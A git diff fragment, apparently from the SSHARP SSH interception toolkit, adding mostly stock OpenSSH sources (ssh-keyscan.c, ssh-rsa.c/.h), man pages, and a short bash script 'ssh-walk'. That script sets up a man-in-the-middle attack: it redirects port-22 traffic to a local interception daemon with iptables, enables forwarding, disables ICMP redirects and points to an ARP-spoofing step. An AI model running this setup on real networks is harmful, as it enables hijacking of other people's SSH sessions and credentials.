generates "Connection closed by remote host" messages on the consoles +of all the machines it scans. +This is because it opens a connection to the ssh port, reads the public +key, and drops the connection as soon as it gets the key. +.Sh SEE ALSO +.Xr ssh 1 , +.Xr sshd 8 +.Sh AUTHOR +David Mazieres diff --git a/other/ssharp/ssh-keyscan.c b/other/ssharp/ssh-keyscan.c new file mode 100644 index 0000000..3f6c231 --- /dev/null +++ b/other/ssharp/ssh-keyscan.c @@ -0,0 +1,646 @@ +/* + * Copyright 1995, 1996 by David Mazieres . + * + * Modification and redistribution in source and binary forms is + * permitted provided that due credit is given to the author and the + * OpenBSD project (for instance by leaving this copyright notice + * intact). + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-keyscan.c,v 1.22 2001/03/06 06:11:18 deraadt Exp $"); + +#if defined(HAVE_SYS_QUEUE_H) && !defined(HAVE_BOGUS_SYS_QUEUE_H) +#include +#else +#include "openbsd-compat/fake-queue.h" +#endif +#include + +#include + +#include "xmalloc.h" +#include "ssh.h" +#include "ssh1.h" +#include "key.h" +#include "buffer.h" +#include "bufaux.h" +#include "log.h" +#include "atomicio.h" + +static int argno = 1; /* Number of argument currently being parsed */ + +int family = AF_UNSPEC; /* IPv4, IPv6 or both */ + +#define MAXMAXFD 256 + +/* The number of seconds after which to give up on a TCP connection */ +int timeout = 5; + +int maxfd; +#define MAXCON (maxfd - 10) + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif +fd_set *read_wait; +size_t read_wait_size; +int ncon; + +/* + * Keep a connection structure for each file descriptor. The state + * associated with file descriptor n is held in fdcon[n]. + */ +typedef struct Connection { + u_char c_status; /* State of connection on this file desc. */ +#define CS_UNUSED 0 /* File descriptor unused */ +#define CS_CON 1 /* Waiting to connect/read greeting */ +#define CS_SIZE 2 /* Waiting to read initial packet size */ +#define CS_KEYS 3 /* Waiting to read public key packet */ + int c_fd; /* Quick lookup: c->c_fd == c - fdcon */ + int c_plen; /* Packet length field for ssh packet */ + int c_len; /* Total bytes which must be read. */ + int c_off; /* Length of data read so far. */ + char *c_namebase; /* Address to free for c_name and c_namelist */ + char *c_name; /* Hostname of connection for errors */ + char *c_namelist; /* Pointer to other possible addresses */ + char *c_output_name; /* Hostname of connection for output */ + char *c_data; /* Data read from this fd */ + struct timeval c_tv; /* Time at which connection gets aborted */ + TAILQ_ENTRY(Connection) c_link; /* List of connections in timeout order. */ +} con; + +TAILQ_HEAD(conlist, Connection) tq; /* Timeout Queue */ +con *fdcon; + +/* + * This is just a wrapper around fgets() to make it usable. + */ + +/* Stress-test. Increase this later. */ +#define LINEBUF_SIZE 16 + +typedef struct { + char *buf; + u_int size; + int lineno; + const char *filename; + FILE *stream; + void (*errfun) (const char *,...); +} Linebuf; + +Linebuf * +Linebuf_alloc(const char *filename, void (*errfun) (const char *,...)) +{ + Linebuf *lb; + + if (!(lb = malloc(sizeof(*lb)))) { + if (errfun) + (*errfun) ("linebuf (%s): malloc failed\n", lb->filename); + return (NULL); + } + if (filename) { + lb->filename = filename; + if (!(lb->stream = fopen(filename, "r"))) { + xfree(lb); + if (errfun) + (*errfun) ("%s: %s\n", filename, strerror(errno)); + return (NULL); + } + } else { + lb->filename = "(stdin)"; + lb->stream = stdin; + } + + if (!(lb->buf = malloc(lb->size = LINEBUF_SIZE))) { + if (errfun) + (*errfun) ("linebuf (%s): malloc failed\n", lb->filename); + xfree(lb); + return (NULL); + } + lb->errfun = errfun; + lb->lineno = 0; + return (lb); +} + +void +Linebuf_free(Linebuf * lb) +{ + fclose(lb->stream); + xfree(lb->buf); + xfree(lb); +} + +void +Linebuf_restart(Linebuf * lb) +{ + clearerr(lb->stream); + rewind(lb->stream); + lb->lineno = 0; +} + +int +Linebuf_lineno(Linebuf * lb) +{ + return (lb->lineno); +} + +char * +Linebuf_getline(Linebuf * lb) +{ + int n = 0; + + lb->lineno++; + for (;;) { + /* Read a line */ + if (!fgets(&lb->buf[n], lb->size - n, lb->stream)) { + if (ferror(lb->stream) && lb->errfun) + (*lb->errfun) ("%s: %s\n", lb->filename, + strerror(errno)); + return (NULL); + } + n = strlen(lb->buf); + + /* Return it or an error if it fits */ + if (n > 0 && lb->buf[n - 1] == '\n') { + lb->buf[n - 1] = '\0'; + return (lb->buf); + } + if (n != lb->size - 1) { + if (lb->errfun) + (*lb->errfun) ("%s: skipping incomplete last line\n", + lb->filename); + return (NULL); + } + /* Double the buffer if we need more space */ + if (!(lb->buf = realloc(lb->buf, (lb->size *= 2)))) { + if (lb->errfun) + (*lb->errfun) ("linebuf (%s): realloc failed\n", + lb->filename); + return (NULL); + } + } +} + +int +fdlim_get(int hard) +{ +#if defined(HAVE_GETRLIMIT) && defined(RLIMIT_NOFILE) + struct rlimit rlfd; + + if (getrlimit(RLIMIT_NOFILE, &rlfd) < 0) + return (-1); + if ((hard ? rlfd.rlim_max : rlfd.rlim_cur) == RLIM_INFINITY) + return 10000; + else + return hard ? rlfd.rlim_max : rlfd.rlim_cur; +#elif defined (HAVE_SYSCONF) + return sysconf (_SC_OPEN_MAX); +#else + return 10000; +#endif +} + +int +fdlim_set(int lim) +{ +#if defined(HAVE_SETRLIMIT) && defined(RLIMIT_NOFILE) + struct rlimit rlfd; +#endif + if (lim <= 0) + return (-1); +#if defined(HAVE_SETRLIMIT) && defined(RLIMIT_NOFILE) + if (getrlimit(RLIMIT_NOFILE, &rlfd) < 0) + return (-1); + rlfd.rlim_cur = lim; + if (setrlimit(RLIMIT_NOFILE, &rlfd) < 0) + return (-1); +#elif defined (HAVE_SETDTABLESIZE) + setdtablesize(lim); +#endif + return (0); +} + +/* + * This is an strsep function that returns a null field for adjacent + * separators. This is the same as the 4.4BSD strsep, but different from the + * one in the GNU libc. + */ +char * +xstrsep(char **str, const char *delim) +{ + char *s, *e; + + if (!**str) + return (NULL); + + s = *str; + e = s + strcspn(s, delim); + + if (*e != '\0') + *e++ = '\0'; + *str = e; + + return (s); +} + +/* + * Get the next non-null token (like GNU strsep). Strsep() will return a + * null token for two adjacent separators, so we may have to loop. + */ +char * +strnnsep(char **stringp, char *delim) +{ + char *tok; + + do { + tok = xstrsep(stringp, delim); + } while (tok && *tok == '\0'); + return (tok); +} + +void +keyprint(char *host, char *output_name, char *kd, int len) +{ + static Key *rsa; + static Buffer msg; + + if (rsa == NULL) { + buffer_init(&msg); + rsa = key_new(KEY_RSA1); + } + buffer_append(&msg, kd, len); + buffer_consume(&msg, 8 - (len & 7)); /* padding */ + if (buffer_get_char(&msg) != (int) SSH_SMSG_PUBLIC_KEY) { + error("%s: invalid packet type", host); + buffer_clear(&msg); + return; + } + buffer_consume(&msg, 8); /* cookie */ + + /* server key */ + (void) buffer_get_int(&msg); + buffer_get_bignum(&msg, rsa->rsa->e); + buffer_get_bignum(&msg, rsa->rsa->n); + + /* host key */ + (void) buffer_get_int(&msg); + buffer_get_bignum(&msg, rsa->rsa->e); + buffer_get_bignum(&msg, rsa->rsa->n); + buffer_clear(&msg); + + fprintf(stdout, "%s ", output_name ? output_name : host); + key_write(rsa, stdout); + fputs("\n", stdout); +} + +int +tcpconnect(char *host) +{ + struct addrinfo hints, *ai, *aitop; + char strport[NI_MAXSERV]; + int gaierr, s = -1; + + snprintf(strport, sizeof strport, "%d", SSH_DEFAULT_PORT); + memset(&hints, 0, sizeof(hints)); + hints.ai_family = family; + hints.ai_socktype = SOCK_STREAM; + if ((gaierr = getaddrinfo(host, strport, &hints, &aitop)) != 0) + fatal("getaddrinfo %s: %s", host, gai_strerror(gaierr)); + for (ai = aitop; ai; ai = ai->ai_next) { + s = socket(ai->ai_family, SOCK_STREAM, 0); + if (s < 0) { + error("socket: %s", strerror(errno)); + continue; + } + if (fcntl(s, F_SETFL, O_NONBLOCK) < 0) + fatal("F_SETFL: %s", strerror(errno)); + if (connect(s, ai->ai_addr, ai->ai_addrlen) < 0 && + errno != EINPROGRESS) + error("connect (`%s'): %s", host, strerror(errno)); + else + break; + close(s); + s = -1; + } + freeaddrinfo(aitop); + return s; +} + +int +conalloc(char *iname, char *oname) +{ + int s; + char *namebase, *name, *namelist; + + namebase = namelist = xstrdup(iname); + + do { + name = xstrsep(&namelist, ","); + if (!name) { + xfree(namebase); + return (-1); + } + } while ((s = tcpconnect(name)) < 0); + + if (s >= maxfd) + fatal("conalloc: fdno %d too high", s); + if (fdcon[s].c_status) + fatal("conalloc: attempt to reuse fdno %d", s); + + fdcon[s].c_fd = s; + fdcon[s].c_status = CS_CON; + fdcon[s].c_namebase = namebase; + fdcon[s].c_name = name; + fdcon[s].c_namelist = namelist; + fdcon[s].c_output_name = xstrdup(oname); + fdcon[s].c_data = (char *) &fdcon[s].c_plen; + fdcon[s].c_len = 4; + fdcon[s].c_off = 0; + gettimeofday(&fdcon[s].c_tv, NULL); + fdcon[s].c_tv.tv_sec += timeout; + TAILQ_INSERT_TAIL(&tq, &fdcon[s], c_link); + FD_SET(s, read_wait); + ncon++; + return (s); +} + +void +confree(int s) +{ + if (s >= maxfd || fdcon[s].c_status == CS_UNUSED) + fatal("confree: attempt to free bad fdno %d", s); + close(s); + xfree(fdcon[s].c_namebase); + xfree(fdcon[s].c_output_name); + if (fdcon[s].c_status == CS_KEYS) + xfree(fdcon[s].c_data); + fdcon[s].c_status = CS_UNUSED; + TAILQ_REMOVE(&tq, &fdcon[s], c_link); + FD_CLR(s, read_wait); + ncon--; +} + +void +contouch(int s) +{ + TAILQ_REMOVE(&tq, &fdcon[s], c_link); + gettimeofday(&fdcon[s].c_tv, NULL); + fdcon[s].c_tv.tv_sec += timeout; + TAILQ_INSERT_TAIL(&tq, &fdcon[s], c_link); +} + +int +conrecycle(int s) +{ + int ret; + con *c = &fdcon[s]; + char *iname, *oname; + + iname = xstrdup(c->c_namelist); + oname = xstrdup(c->c_output_name); + confree(s); + ret = conalloc(iname, oname); + xfree(iname); + xfree(oname); + return (ret); +} + +void +congreet(int s) +{ + char buf[80], *cp; + size_t bufsiz; + int n = 0; + con *c = &fdcon[s]; + + bufsiz = sizeof(buf); + cp = buf; + while (bufsiz-- && (n = read(s, cp, 1)) == 1 && *cp != '\n' && *cp != '\r') + cp++; + if (n < 0) { + if (errno != ECONNREFUSED) + error("read (%s): %s", c->c_name, strerror(errno)); + conrecycle(s); + return; + } + if (*cp != '\n' && *cp != '\r') { + error("%s: bad greeting", c->c_name); + confree(s); + return; + } + *cp = '\0'; + fprintf(stderr, "# %s %s\n", c->c_name, buf); + n = snprintf(buf, sizeof buf, "SSH-1.5-OpenSSH-keyscan\r\n"); + if (atomicio(write, s, buf, n) != n) { + error("write (%s): %s", c->c_name, strerror(errno)); + confree(s); + return; + } + c->c_status = CS_SIZE; + contouch(s); +} + +void +conread(int s) +{ + int n; + con *c = &fdcon[s]; + + if (c->c_status == CS_CON) { + congreet(s); + return; + } + n = read(s, c->c_data + c->c_off, c->c_len - c->c_off); + if (n < 0) { + error("read (%s): %s", c->c_name, strerror(errno)); + confree(s); + return; + } + c->c_off += n; + + if (c->c_off == c->c_len) + switch (c->c_status) { + case CS_SIZE: + c->c_plen = htonl(c->c_plen); + c->c_len = c->c_plen + 8 - (c->c_plen & 7); + c->c_off = 0; + c->c_data = xmalloc(c->c_len); + c->c_status = CS_KEYS; + break; + case CS_KEYS: + keyprint(c->c_name, c->c_output_name, c->c_data, c->c_plen); + confree(s); + return; + break; + default: + fatal("conread: invalid status %d", c->c_status); + break; + } + + contouch(s); +} + +void +conloop(void) +{ + fd_set *r, *e; + struct timeval seltime, now; + int i; + con *c; + + gettimeofday(&now, NULL); + c = tq.tqh_first; + + if (c && (c->c_tv.tv_sec > now.tv_sec || + (c->c_tv.tv_sec == now.tv_sec && c->c_tv.tv_usec > now.tv_usec))) { + seltime = c->c_tv; + seltime.tv_sec -= now.tv_sec; + seltime.tv_usec -= now.tv_usec; + if (seltime.tv_usec < 0) { + seltime.tv_usec += 1000000; + seltime.tv_sec--; + } + } else + seltime.tv_sec = seltime.tv_usec = 0; + + r = xmalloc(read_wait_size); + memcpy(r, read_wait, read_wait_size); + e = xmalloc(read_wait_size); + memcpy(e, read_wait, read_wait_size); + + while (select(maxfd, r, NULL, e, &seltime) == -1 && + (errno == EAGAIN || errno == EINTR)) + ; + + for (i = 0; i < maxfd; i++) { + if (FD_ISSET(i, e)) { + error("%s: exception!", fdcon[i].c_name); + confree(i); + } else if (FD_ISSET(i, r)) + conread(i); + } + xfree(r); + xfree(e); + + c = tq.tqh_first; + while (c && (c->c_tv.tv_sec < now.tv_sec || + (c->c_tv.tv_sec == now.tv_sec && c->c_tv.tv_usec < now.tv_usec))) { + int s = c->c_fd; + + c = c->c_link.tqe_next; + conrecycle(s); + } +} + +char * +nexthost(int argc, char **argv) +{ + static Linebuf *lb; + + for (;;) { + if (!lb) { + if (argno >= argc) + return (NULL); + if (argv[argno][0] != '-') + return (argv[argno++]); + if (!strcmp(argv[argno], "--")) { + if (++argno >= argc) + return (NULL); + return (argv[argno++]); + } else if (!strncmp(argv[argno], "-f", 2)) { + char *fname; + + if (argv[argno][2]) + fname = &argv[argno++][2]; + else if (++argno >= argc) { + error("missing filename for `-f'"); + return (NULL); + } else + fname = argv[argno++]; + if (!strcmp(fname, "-")) + fname = NULL; + lb = Linebuf_alloc(fname, error); + } else + error("ignoring invalid/misplaced option `%s'", + argv[argno++]); + } else { + char *line; + + line = Linebuf_getline(lb); + if (line) + return (line); + Linebuf_free(lb); + lb = NULL; + } + } +} + +void +usage(void) +{ + fatal("usage: %s [-t timeout] { [--] host | -f file } ...", __progname); + return; +} + +int +main(int argc, char **argv) +{ + char *host = NULL; + + __progname = get_progname(argv[0]); + TAILQ_INIT(&tq); + + if (argc <= argno) + usage(); + + if (argv[1][0] == '-' && argv[1][1] == 't') { + argno++; + if (argv[1][2]) + timeout = atoi(&argv[1][2]); + else { + if (argno >= argc) + usage(); + timeout = atoi(argv[argno++]); + } + if (timeout <= 0) + usage(); + } + if (argc <= argno) + usage(); + + maxfd = fdlim_get(1); + if (maxfd < 0) + fatal("%s: fdlim_get: bad value", __progname); + if (maxfd > MAXMAXFD) + maxfd = MAXMAXFD; + if (MAXCON <= 0) + fatal("%s: not enough file descriptors", __progname); + if (maxfd > fdlim_get(0)) + fdlim_set(maxfd); + fdcon = xmalloc(maxfd * sizeof(con)); + memset(fdcon, 0, maxfd * sizeof(con)); + + read_wait_size = howmany(maxfd, NFDBITS) * sizeof(fd_mask); + read_wait = xmalloc(read_wait_size); + memset(read_wait, 0, read_wait_size); + + do { + while (ncon < MAXCON) { + char *name; + + host = nexthost(argc, argv); + if (host == NULL) + break; + name = strnnsep(&host, " \t\n"); + conalloc(name, *host ? host : name); + } + conloop(); + } while (host); + while (ncon > 0) + conloop(); + + return (0); +} diff --git a/other/ssharp/ssh-rsa.c b/other/ssharp/ssh-rsa.c new file mode 100644 index 0000000..b502ddb --- /dev/null +++ b/other/ssharp/ssh-rsa.c @@ -0,0 +1,174 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: ssh-rsa.c,v 1.8 2001/03/27 10:57:00 markus Exp $"); + +#include +#include + +#include "xmalloc.h" +#include "log.h" +#include "buffer.h" +#include "bufaux.h" +#include "key.h" +#include "ssh-rsa.h" +#include "compat.h" + +/* RSASSA-PKCS1-v1_5 (PKCS #1 v2.0 signature) with SHA1 */ +int +ssh_rsa_sign( + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen) +{ + const EVP_MD *evp_md; + EVP_MD_CTX md; + u_char *digest, *sig, *ret; + u_int slen, dlen, len; + int ok, nid; + Buffer b; + + if (key == NULL || key->type != KEY_RSA || key->rsa == NULL) { + error("ssh_rsa_sign: no RSA key"); + return -1; + } + nid = (datafellows & SSH_BUG_RSASIGMD5) ? NID_md5 : NID_sha1; + if ((evp_md = EVP_get_digestbynid(nid)) == NULL) { + error("ssh_rsa_sign: EVP_get_digestbynid %d failed", nid); + return -1; + } + dlen = evp_md->md_size; + digest = xmalloc(dlen); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + slen = RSA_size(key->rsa); + sig = xmalloc(slen); + + ok = RSA_sign(nid, digest, dlen, sig, &len, key->rsa); + memset(digest, 'd', dlen); + xfree(digest); + + if (ok != 1) { + int ecode = ERR_get_error(); + error("ssh_rsa_sign: RSA_sign failed: %s", ERR_error_string(ecode, NULL)); + xfree(sig); + return -1; + } + if (len < slen) { + int diff = slen - len; + debug("slen %d > len %d", slen, len); + memmove(sig + diff, sig, len); + memset(sig, 0, diff); + } else if (len > slen) { + error("ssh_rsa_sign: slen %d slen2 %d", slen, len); + xfree(sig); + return -1; + } + /* encode signature */ + buffer_init(&b); + buffer_put_cstring(&b, "ssh-rsa"); + buffer_put_string(&b, sig, slen); + len = buffer_len(&b); + ret = xmalloc(len); + memcpy(ret, buffer_ptr(&b), len); + buffer_free(&b); + memset(sig, 's', slen); + xfree(sig); + + if (lenp != NULL) + *lenp = len; + if (sigp != NULL) + *sigp = ret; + debug2("ssh_rsa_sign: done"); + return 0; +} + +int +ssh_rsa_verify( + Key *key, + u_char *signature, int signaturelen, + u_char *data, int datalen) +{ + Buffer b; + const EVP_MD *evp_md; + EVP_MD_CTX md; + char *ktype; + u_char *sigblob, *digest; + u_int len, dlen; + int rlen, ret, nid; + + if (key == NULL || key->type != KEY_RSA || key->rsa == NULL) { + error("ssh_rsa_verify: no RSA key"); + return -1; + } + if (BN_num_bits(key->rsa->n) < 768) { + error("ssh_rsa_verify: n too small: %d bits", + BN_num_bits(key->rsa->n)); + return -1; + } + buffer_init(&b); + buffer_append(&b, (char *) signature, signaturelen); + ktype = buffer_get_string(&b, NULL); + if (strcmp("ssh-rsa", ktype) != 0) { + error("ssh_rsa_verify: cannot handle type %s", ktype); + buffer_free(&b); + xfree(ktype); + return -1; + } + xfree(ktype); + sigblob = (u_char *)buffer_get_string(&b, &len); + rlen = buffer_len(&b); + buffer_free(&b); + if(rlen != 0) { + xfree(sigblob); + error("ssh_rsa_verify: remaining bytes in signature %d", rlen); + return -1; + } + nid = (datafellows & SSH_BUG_RSASIGMD5) ? NID_md5 : NID_sha1; + if ((evp_md = EVP_get_digestbynid(nid)) == NULL) { + xfree(sigblob); + error("ssh_rsa_verify: EVP_get_digestbynid %d failed", nid); + return -1; + } + dlen = evp_md->md_size; + digest = xmalloc(dlen); + EVP_DigestInit(&md, evp_md); + EVP_DigestUpdate(&md, data, datalen); + EVP_DigestFinal(&md, digest, NULL); + + ret = RSA_verify(nid, digest, dlen, sigblob, len, key->rsa); + memset(digest, 'd', dlen); + xfree(digest); + memset(sigblob, 's', len); + xfree(sigblob); + if (ret == 0) { + int ecode = ERR_get_error(); + error("ssh_rsa_verify: RSA_verify failed: %s", ERR_error_string(ecode, NULL)); + } + debug("ssh_rsa_verify: signature %scorrect", (ret==0) ? "in" : ""); + return ret; +} diff --git a/other/ssharp/ssh-rsa.h b/other/ssharp/ssh-rsa.h new file mode 100644 index 0000000..af2b2fe --- /dev/null +++ b/other/ssharp/ssh-rsa.h @@ -0,0 +1,41 @@ +/* $OpenBSD: ssh-rsa.h,v 1.3 2001/01/29 01:58:18 niklas Exp $ */ + +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#ifndef SSH_RSA_H +#define SSH_RSA_H + +int +ssh_rsa_sign( + Key *key, + u_char **sigp, int *lenp, + u_char *data, int datalen); + +int +ssh_rsa_verify( + Key *key, + u_char *signature, int signaturelen, + u_char *data, int datalen); + +#endif diff --git a/other/ssharp/ssh-walk b/other/ssharp/ssh-walk new file mode 100644 index 0000000..eb23e08 --- /dev/null +++ b/other/ssharp/ssh-walk @@ -0,0 +1,46 @@ +#!/bin/bash + +# set this path to a ssharpd binary +SSHARPD=./ssharp/__sshd + +echo -n "Setting up ssh traffic redirection... " +iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 1000:8000 -j REDIRECT --to-ports 10000 2> /dev/null +if [ "$?" != "0" ]; then + echo "Error!" + exit 1 +fi + +iptables -t nat -A PREROUTING -p tcp --dport 22 --sport 20000:60000 -j REDIRECT --to-ports 10000 +if [ "$?" != "0" ]; then + echo "Error!" + exit 1 +fi + +echo "done." + +echo -n "Configuring interfaces... " +for x in `ls /proc/sys/net/ipv4/conf`; do + echo 0 > /proc/sys/net/ipv4/conf/$x/send_redirects +done + +echo 1 > /proc/sys/net/ipv4/ip_forward +echo "done." + + +echo > /tmp/____asd +echo -n "Starting daemon... " +$SSHARPD -4 -p 10000 < /tmp/____asd 2> /dev/null + +if [ "$?" != "0" ]; then + echo "Error!" + rm -rf /tmp/____asd + exit 1 +fi +rm -rf /tmp/____asd +echo "done." + +echo "Dropping vicki@incidents.org a hint about suspicious traffic... " +echo "Error!" + +echo "Now run arp.sh (uhh.. did you already write it?)" + \ No newline at end of file diff --git a/other/ssharp/ssh.0 b/other/ssharp/ssh.0 new file mode 100644 index 0000000..98643f4 --- /dev/null +++ b/other/ssharp/ssh.0 @@ -0,0 +1,885 @@ + +SSH(1) System Reference Manual SSH(1) + +NAME + ssh - OpenSSH SSH client (remote login program) + +SYNOPSIS + ssh [-l login_name] [hostname | user@hostname] [command] + + ssh [-afgknqstvxACNPTX1246] [-c cipher_spec] [-e escape_char] [-i + identity_file] [-l login_name] [-m mac_spec] [-o option] [-p port] + [-L port:host:hostport] [-R port:host:hostport] [hostname | + user@hostname] [command] + +DESCRIPTION + ssh (SSH client) is a program for logging into a remote machine and for + executing commands on a remote machine. It is intended to replace rlogin + and rsh, and provide secure encrypted communications between two untrustM-- + ed hosts over an insecure network. X11 connections and arbitrary TCP/IP + ports can also be forwarded over the secure channel. + + ssh connects and logs into the specified hostname. The user must prove + his/her identity to the remote machine using one of several methods deM-- + pending on the protocol version used: + + SSH protocol version 1 + + First, if the machine the user logs in from is listed in /etc/hosts.equiv + or /etc/shosts.equiv on the remote machine, and the user names are the + same on both sides, the user is immediately permitted to log in. Second, + if .rhosts or .shosts exists in the user's home directory on the remote + machine and contains a line containing the name of the client machine and + the name of the user on that machine, the user is permitted to log in. + This form of authentication alone is normally not allowed by the server + because it is not secure. + + The second authentication method is the rhosts or hosts.equiv method comM-- + bined with RSA-based host authentication. It means that if the login + would be permitted by $HOME/.rhosts, $HOME/.shosts, /etc/hosts.equiv, or + /etc/shosts.equiv, and if additionally the server can verify the client's + host key (see /etc/ssh_known_hosts and $HOME/.ssh/known_hosts in the + FILES section), only then login is permitted. This authentication method + closes security holes due to IP spoofing, DNS spoofing and routing spoofM-- + ing. [Note to the administrator: /etc/hosts.equiv, $HOME/.rhosts, and + the rlogin/rsh protocol in general, are inherently insecure and should be + disabled if security is desired.] + + As a third authentication method, ssh supports RSA based authentication. + The scheme is based on public-key cryptography: there are cryptosystems + where encryption and decryption are done using separate keys, and it is + not possible to derive the decryption key from the encryption key. RSA + is one such system. The idea is that each user creates a public/private + key pair for authentication purposes. The server knows the public key, + and only the user knows the private key. The file + $HOME/.ssh/authorized_keys lists the public keys that are permitted for + logging in. When the user logs in, the ssh program tells the server + which key pair it would like to use for authentication. The server + checks if this key is permitted, and if so, sends the user (actually the + ssh program running on behalf of the user) a challenge, a random number, + encrypted by the user's public key. The challenge can only be decrypted + using the proper private key. The user's client then decrypts the chalM-- + lenge using the private key, proving that he/she knows the private key + but without disclosing it to the server. + + + ssh implements the RSA authentication protocol automatically. The user + creates his/her RSA key pair by running ssh-keygen(1). This stores the + private key in $HOME/.ssh/identity and the public key in + $HOME/.ssh/identity.pub in the user's home directory. The user should + then copy the identity.pub to $HOME/.ssh/authorized_keys in his/her home + directory on the remote machine (the authorized_keys file corresponds to + the conventional $HOME/.rhosts file, and has one key per line, though the + lines can be very long). After this, the user can log in without giving + the password. RSA authentication is much more secure than rhosts authenM-- + tication. + + The most convenient way to use RSA authentication may be with an authenM-- + tication agent. See ssh-agent(1) for more information. + + If other authentication methods fail, ssh prompts the user for a passM-- + word. The password is sent to the remote host for checking; however, + since all communications are encrypted, the password cannot be seen by + someone listening on the network. + + SSH protocol version 2 + + When a user connects using the protocol version 2 different authenticaM-- + tion methods are available. Using the default values for + PreferredAuthentications, the client will try to authenticate first using + the public key method; if this method fails password authentication is + attempted, and finally if this method fails keyboard-interactive authenM-- + tication is attempted. If this method fails password authentication is + tried. + + The public key method is similar to RSA authentication described in the + previous section and allows the RSA or DSA algorithm to be used: The + client uses his private key, $HOME/.ssh/id_dsa or $HOME/.ssh/id_rsa, to + sign the session identifier and sends the result to the server. The + server checks whether the matching public key is listed in + $HOME/.ssh/authorized_keys2 and grants access if both the key is found + and the signature is correct. The session identifier is derived from a + shared Diffie-Hellman value and is only known to the client and the servM-- + er. + + If public key authentication fails or is not available a password can be + sent encrypted to the remote host for proving the user's identity. + + Additionally, ssh supports hostbased or challenge response authenticaM-- + tion. + + Protocol 2 provides additional mechanisms for confidentiality (the trafM-- + fic is encrypted using 3DES, Blowfish, CAST128 or Arcfour) and integrity + (hmac-md5, hmac-sha1). Note that protocol 1 lacks a strong mechanism for + ensuring the integrity of the connection. + + Login session and remote execution + + When the user's identity has been accepted by the server, the server eiM-- + ther executes the given command, or logs into the machine and gives the + user a normal shell on the remote machine. All communication with the + remote command or shell will be automatically encrypted. + + If a pseudo-terminal has been allocated (normal login session), the user + may use the escape characters noted below. + + If no pseudo tty has been allocated, the session is transparent and can + be used to reliably transfer binary data. On most systems, setting the + escape character to ``none'' will also make the session transparent even + if a tty is used. + + + The session terminates when the command or shell on the remote machine + exits and all X11 and TCP/IP connections have been closed. The exit staM-- + tus of the remote program is returned as the exit status of ssh. + + Escape Characters + + When a pseudo terminal has been requested, ssh supports a number of funcM-- + tions through the use of an escape character. + + A single tilde character can be sent as ~~ (or by following the tilde by + a character other than those described above). The escape character must + always follow a newline to be interpreted as special. The escape characM-- + ter can be changed in configuration files using the EscapeChar configuraM-- + tion directive or on the command line by the -e option. + + The supported escapes (assuming the default `~') are: + + ~. Disconnect + + ~^Z Background ssh + + ~# List forwarded connections + + ~& Background ssh at logout when waiting for forwarded connection / + X11 sessions to terminate (protocol version 1 only) + + ~? Display a list of escape characters + + ~R Request rekeying of the connection (only useful for SSH protocol + version 2 and if the peer supports it) + + X11 and TCP forwarding + + If the user is using X11 (the DISPLAY environment variable is set), the + connection to the X11 display is automatically forwarded to the remote + side in such a way that any X11 programs started from the shell (or comM-- + mand) will go through the encrypted channel, and the connection to the + real X server will be made from the local machine. The user should not + manually set DISPLAY. Forwarding of X11 connections can be configured on + the command line or in configuration files. + + The DISPLAY value set by ssh will point to the server machine, but with a + display number greater than zero. This is normal, and happens because + ssh creates a ``proxy'' X server on the server machine for forwarding the + connections over the encrypted channel. + + ssh will also automatically set up Xauthority data on the server machine. + For this purpose, it will generate a random authorization cookie, store + it in Xauthority on the server, and verify that any forwarded connections + carry this cookie and replace it by the real cookie when the connection + is opened. The real authentication cookie is never sent to the server + machine (and no cookies are sent in the plain). + + If the user is using an authentication agent, the connection to the agent + is automatically forwarded to the remote side unless disabled on command + line or in a configuration file. + + Forwarding of arbitrary TCP/IP connections over the 